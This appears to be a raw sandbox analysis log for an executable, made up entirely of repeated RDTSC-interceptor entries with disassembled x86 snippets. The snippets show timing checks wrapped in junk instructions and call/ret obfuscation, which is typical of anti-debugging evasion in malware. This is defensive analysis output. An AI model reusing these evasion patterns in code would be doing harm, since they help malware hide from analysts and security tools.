Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4FE9 second address: 8C4FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7EB0 second address: 8C7EBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7EBE second address: 8C7EC8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7EC8 second address: 8C7ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7ECE second address: 8C7EE4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7EE4 second address: 8C7EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7EE8 second address: 8C7EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7EEE second address: 8C7F06 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9820CD6B98h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jc 00007F9820CD6BA4h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7F93 second address: 8C7FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F98219BDB66h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007F98219BDB66h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 jno 00007F98219BDB70h 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push esi 0x00000022 jmp 00007F98219BDB75h 0x00000027 pop esi 0x00000028 mov eax, dword ptr [eax] 0x0000002a jns 00007F98219BDB76h 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7FF7 second address: 8C7FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7FFB second address: 8C800C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C800C second address: 8C8012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8012 second address: 8C8057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov edx, dword ptr [ebp+122D2C77h] 0x00000012 mov dword ptr [ebp+122D2FEEh], edi 0x00000018 push 00000003h 0x0000001a or dword ptr [ebp+122D1809h], esi 0x00000020 push 00000000h 0x00000022 xor dword ptr [ebp+122D1BD3h], edx 0x00000028 push 00000003h 0x0000002a mov edi, dword ptr [ebp+122D2C2Fh] 0x00000030 push 40A0BF69h 0x00000035 pushad 0x00000036 jg 00007F98219BDB6Ch 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8057 second address: 8C805F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C805F second address: 8C8063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8174 second address: 8C81D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 xor dword ptr [esp], 11A90114h 0x0000000e add dh, 00000046h 0x00000011 mov cx, 985Eh 0x00000015 lea ebx, dword ptr [ebp+12449DC0h] 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F9820CD6B98h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 sbb cx, CB3Bh 0x0000003a mov ecx, eax 0x0000003c xchg eax, ebx 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F9820CD6BA8h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C822F second address: 8C8239 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8239 second address: 8C823E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C823E second address: 8C82AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F98219BDB75h 0x0000000d nop 0x0000000e sbb dx, EC67h 0x00000013 mov dh, cl 0x00000015 push 00000000h 0x00000017 pushad 0x00000018 mov ah, dh 0x0000001a popad 0x0000001b call 00007F98219BDB69h 0x00000020 jnp 00007F98219BDB72h 0x00000026 jnl 00007F98219BDB6Ch 0x0000002c push eax 0x0000002d push ecx 0x0000002e jmp 00007F98219BDB74h 0x00000033 pop ecx 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jl 00007F98219BDB66h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C82AA second address: 8C82AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C82AF second address: 8C82D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F98219BDB73h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jns 00007F98219BDB66h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C82D4 second address: 8C82F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C82F2 second address: 8C82FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C82FB second address: 8C82FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C82FF second address: 8C83A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov di, BD05h 0x0000000c call 00007F98219BDB78h 0x00000011 sub dword ptr [ebp+122D1C27h], esi 0x00000017 pop edi 0x00000018 push 00000003h 0x0000001a mov esi, 0D4D026Fh 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 jmp 00007F98219BDB6Eh 0x00000027 pop edi 0x00000028 mov esi, 1BB4697Fh 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F98219BDB68h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 and si, 2E5Ah 0x0000004e mov dword ptr [ebp+122D1B37h], ebx 0x00000054 call 00007F98219BDB69h 0x00000059 push ebx 0x0000005a jg 00007F98219BDB72h 0x00000060 pop ebx 0x00000061 push eax 0x00000062 jng 00007F98219BDB78h 0x00000068 push eax 0x00000069 push edx 0x0000006a je 00007F98219BDB66h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C83A2 second address: 8C83A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C83A6 second address: 8C83C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F98219BDB74h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C83C6 second address: 8C83CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C83CD second address: 8C8405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F98219BDB72h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F98219BDB76h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8405 second address: 8C8467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F9820CD6B98h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 stc 0x00000023 jmp 00007F9820CD6BA8h 0x00000028 mov si, ED41h 0x0000002c lea ebx, dword ptr [ebp+12449DCBh] 0x00000032 or dword ptr [ebp+122D33A0h], edi 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F9820CD6BA2h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8467 second address: 8C8471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F98219BDB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8471 second address: 8C8475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8475 second address: 8C8488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F98219BDB68h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8488 second address: 8C848E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E70C7 second address: 8E70D3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E70D3 second address: 8E70EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jnc 00007F9820CD6B96h 0x00000013 je 00007F9820CD6B96h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7767 second address: 8E777D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB72h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E792D second address: 8E7931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7931 second address: 8E793D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7A4F second address: 8E7A59 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9820CD6B96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7A59 second address: 8E7A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c jng 00007F98219BDB70h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7A75 second address: 8E7A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7A91 second address: 8E7A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7A97 second address: 8E7A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7B8D second address: 8E7B97 instructions: 0x00000000 rdtsc 0x00000002 je 00007F98219BDB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7B97 second address: 8E7BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9820CD6B9Ah 0x0000000b jnc 00007F9820CD6B98h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F9820CD6BB3h 0x0000001a jmp 00007F9820CD6BA7h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7BD1 second address: 8E7BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F98219BDB6Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7D2F second address: 8E7D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6BA0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7E80 second address: 8E7EA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jnc 00007F98219BDB66h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD219 second address: 8DD251 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9820CD6B96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9820CD6BA9h 0x00000013 jmp 00007F9820CD6BA1h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E86F3 second address: 8E86FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E86FD second address: 8E870A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8ACA second address: 8E8B0B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F98219BDB66h 0x00000008 jp 00007F98219BDB66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jng 00007F98219BDB66h 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop ebx 0x0000001c jnc 00007F98219BDB85h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF220 second address: 8BF225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED125 second address: 8ED12F instructions: 0x00000000 rdtsc 0x00000002 je 00007F98219BDB6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED723 second address: 8ED729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC68B second address: 8EC69E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F98219BDB6Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F43A0 second address: 8F43BF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9820CD6BB1h 0x00000008 jmp 00007F9820CD6BA5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F43BF second address: 8F43D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F98219BDB86h 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F98219BDB66h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F396A second address: 8F3976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9820CD6B96h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3976 second address: 8F397C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F397C second address: 8F3985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3985 second address: 8F3997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3997 second address: 8F399B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F399B second address: 8F39A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F39A9 second address: 8F39B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6B9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F39B8 second address: 8F39C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F98219BDB6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3AFE second address: 8F3B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9820CD6B9Eh 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F407B second address: 8F4081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4081 second address: 8F408D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9820CD6BB1h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4206 second address: 8F4231 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F98219BDB7Eh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F98219BDB76h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4231 second address: 8F4237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F50E6 second address: 8F50EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F517B second address: 8F51B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F9820CD6B9Ch 0x0000000d pop edx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F9820CD6B9Fh 0x00000019 pop edi 0x0000001a push ebx 0x0000001b pushad 0x0000001c popad 0x0000001d pop ebx 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 ja 00007F9820CD6B98h 0x00000028 push edi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F51B8 second address: 8F5213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007F98219BDB6Ah 0x0000000f pop eax 0x00000010 je 00007F98219BDB7Ch 0x00000016 jmp 00007F98219BDB76h 0x0000001b call 00007F98219BDB69h 0x00000020 push edi 0x00000021 jmp 00007F98219BDB6Bh 0x00000026 pop edi 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F98219BDB71h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5213 second address: 8F524D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F9820CD6B96h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnc 00007F9820CD6B9Eh 0x00000018 mov eax, dword ptr [eax] 0x0000001a jno 00007F9820CD6B9Eh 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push ecx 0x00000027 push edi 0x00000028 pop edi 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F53BF second address: 8F53C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F56FD second address: 8F5703 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
